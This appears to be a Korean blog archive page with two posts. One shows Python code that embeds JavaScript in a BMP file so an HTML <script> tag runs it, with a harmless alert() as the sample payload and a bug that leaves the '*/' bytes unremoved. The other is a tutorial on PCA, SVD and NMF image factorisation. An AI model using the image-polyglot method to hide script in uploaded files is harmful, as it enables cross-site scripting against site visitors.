레이블이 이미지인 게시물을 표시합니다. 모든 게시물 표시
레이블이 이미지인 게시물을 표시합니다. 모든 게시물 표시

2016년 4월 1일 금요일

이미지에 자바스크립트 코드 삽입하기

BMP 이미지에 자바스크립트 코드를 삽입하는 과정이다.

1. 테스트로 사용할 이미지를 구한다. (sample.bmp)
2. BMP 포맷의 특징을 활용해서 자바스크립트 코드를 삽입한다.
3. HTML에서 이미지와 자바스크립트의 소스로 변경된 이미지를 가져온다.

구현된 파이썬 코드를 통해서 알아보자.

# 구글 이미지 검색에서 찾은 BMP 이미지 파일을 sample.bmp로 명명하였다.
original_file = "sample.bmp"
cracked_file = "cracked.bmp"

# 삽입될 바이너리 형태의 코드로 알림 창을 띄우는 예제를 만들었다.
script_text = 'alert("{0} is cracked.")'.format(original_file).encode('ascii')

def script_into_bmp(script_text, original_file, cracked_file):
    """
    bmp 이미지에 script 코드를 삽입하기
    :param script_text: 삽입할 자바스크립트 코드
    :param original_file: 원본 bmp 이미지 파일 이름
    :param cracked_file: 생성될 bmp 이미지 파일 이름
    :return: 성공
    """

    # 1번째 과정 : 주석 영역에 문제를 일으킬수 있는 */ 문자를 제거한다.
    with open(original_file, "r+b") as f:
        buff = f.read()
        buff.replace(b'\x2A\x2F', b'\x00\x00')  # */ 공백 치환

    # 2번째 과정 : 비트맵의 헤더 2 바이트 이후에 주석 시작 코드(/*)를 삽입한다.
    with open(cracked_file, "w+b") as f:
        f.write(buff)
        f.seek(2, 0)
        f.write(b'\x2F\x2A')  # /*

    # 3번째 과정 : 파일의 끝에 주석 끝 코드(*/)와 함께,
    # 비트맵의 헤더 BM=1;과 같이 처리하기 위해서 다음 코드(=1;)를 추가한다.
    # 테스트를 위해서 알림창을 띄우는 자바스크립트 코드를 추가한다.
    with open(cracked_file, "a+b") as f:
        f.write(b'\x2A\x2F\x3D\x31\x3B')  # */=1;
        f.write(script_text)

    return True

HTML에서 이미지를 보여주는 것과 동시에 숨겨진 자바스크립트 코드를 실행한다.
<img src=“cracked.bmp”/>
<script src=“cracked.bmp”/>

실행 화면



2016년 3월 18일 금요일

행렬 인수분해 3가지

인수분해는 노이즈 제거 및 데이터 압축 기법으로 유용하게 활용된다. 근래에는 기계학습 붐과 함께 패턴인식 분야에서도 유용하게 쓰인다.
본문은 일반적으로 사용하는 인수분해 기법(PCA, SVD, NMF)를 활용한 예제를 다룬다.

먼저 실험에 사용할 이미지 20개다.


위 이미지 중 하나는 45x40 이고, 일렬로 나열하면 1x1800 이 된다.
20개의 이미지를 합치면 다음과 같이 20x1800의 이미지로 만들수 있다.
(20개 이미지로는 육안 상의 의미 전달이 약해서 출력을 5번을 반복했다.)
성분의 수를 1개로 지정할때 변형(인수분해된 값을 복원)된 이미지다. 노이즈가 제거된다.
**
n_components (성분 수)
scikit-learn의 PCA, SVD, NMF의 필수 입력 인자이다.
PCA에서는 주요 인자의 개수이고 SVD에서는 S(시그마)의 인자 개수이고, NMF에서는 W, H의 특징의 개수이다. 값이 작을 수록 핵심 요소만 부각되고, 보관할 사이즈가 줄어든다.

성분 값 20, 1의 2가지의 복원된 이미지 값을 보자.
성분 값이 20일때,

성분 값이 1일때,
**
PCA, SVD, NMF 모두 유사한 형태를 보인다.
위에서 부터 PCA, SVD, NMF 순서대로 나열했다.

활용적인 측면에서는 개성있는 다양한 사람들의 사진에서 공통적인 요소를 부각해 사람이라는 객체의 일반적인 형태를 만들어 낼 수 있다는 점이다. 이 것은 다른 객체들에도 동일하게 적용 가능하다.


참조

사진 출처 및 영감을 받은 사이트
http://darkpgmr.tistory.com/110

주성분 분석(主成分分析, Principal component analysis; PCA)
고차원의 데이터를 저차원의 데이터로 환원시키는 기법이다. 서로 연관 가능성이 있는 고차원 공간의 표본들을 선형 연관성이 없는 저차원 공간(주성분)의 표본으로 변환하기 위해 직교 변환을 사용한다. 주성분의 차원수는 원래 표본의 차원수보다 작거나 같다.
**
각 성분(벡터 방향, 차원, 속성)의 평균 지점을 0으로 만드는 지점(점)으로 부터의 성분별로 거리를 추출하고 성분의 분산이 가장 큰 순으로 정렬한다.
n_components = min(n_samples, n_features)
n_components는 성분의 개수이다.

특이값 분해(Singular Value Decomposition, SVD)
행렬을 특정한 구조로 분해하는 방식으로, 신호 처리와 통계학 등의 분야 에서 자주 사용된다.
**
A = U(투영회전,직교형렬) x S(형태변환,대각형렬,components) x V(회전,직교형렬)
모든 m x n 행렬에 대해 적용 가능함으로 유연하게 쓰인다.

음수 미포함 행렬 분해(Non-negative matrix factorization, NMF)
음수를 포함하지 않은 행렬 V를 음수를 포함하지 않은 행렬 W와 H의 곱으로 분해하는 알고리즘이다. 행렬이 음수를 포함하지 않는 성질은 분해 결과 행렬을 찾기 쉽게 만든다. 일반적으로 행렬 분해는 정확한 해가 없기 때문에 이 알고리즘은 대략적인 해를 구하게 된다. 음수 미포함 행렬 분해는 컴퓨터 시각 처리, 문서 분류, 음파 분석, 계량분석화학, 추천 시스템 등에 쓰인다.
**
A = W * H
n_components = min(n_samples, n_features)
다른 기법에 비해서 성능이 느리다.

본문 사용 파이썬 코드 요약

사용된 라이브러리
import scipy, pandas as pd
from sklearn.decomposition import PCA, TruncatedSVD, NMF

이미지 읽고 쓰고 보이기
scipy.misc.imread(파일이름)
scipy.misc.imsave(파일이름, 행렬)
scipy.misc.toimage(행렬)

이미지 읽기
scipy.misc.imread(파일이름, mode='L').reshape(45 * 40)
#이미지의 간편한 처리를 위해서 8bit 흑백 모드로 읽기

행렬 결합하기
pd.concat(결합할 행렬의 리스트, axis=1)
# axis=1 가로(열)로 합치기, 0 세로(행)로 합치기

인수분해하기
# 모델 선언, 성분 개수 지정
model = PCA(n_components=성분개수)
# 인수 분해 (압축 저장)
repo = model.fit_transform(학습 및 변형할 행렬)
# 복원 하기
final_img = model.inverse_transform(repo)
# 복원된 이미지 보기
scipy.misc.toimage(final_img)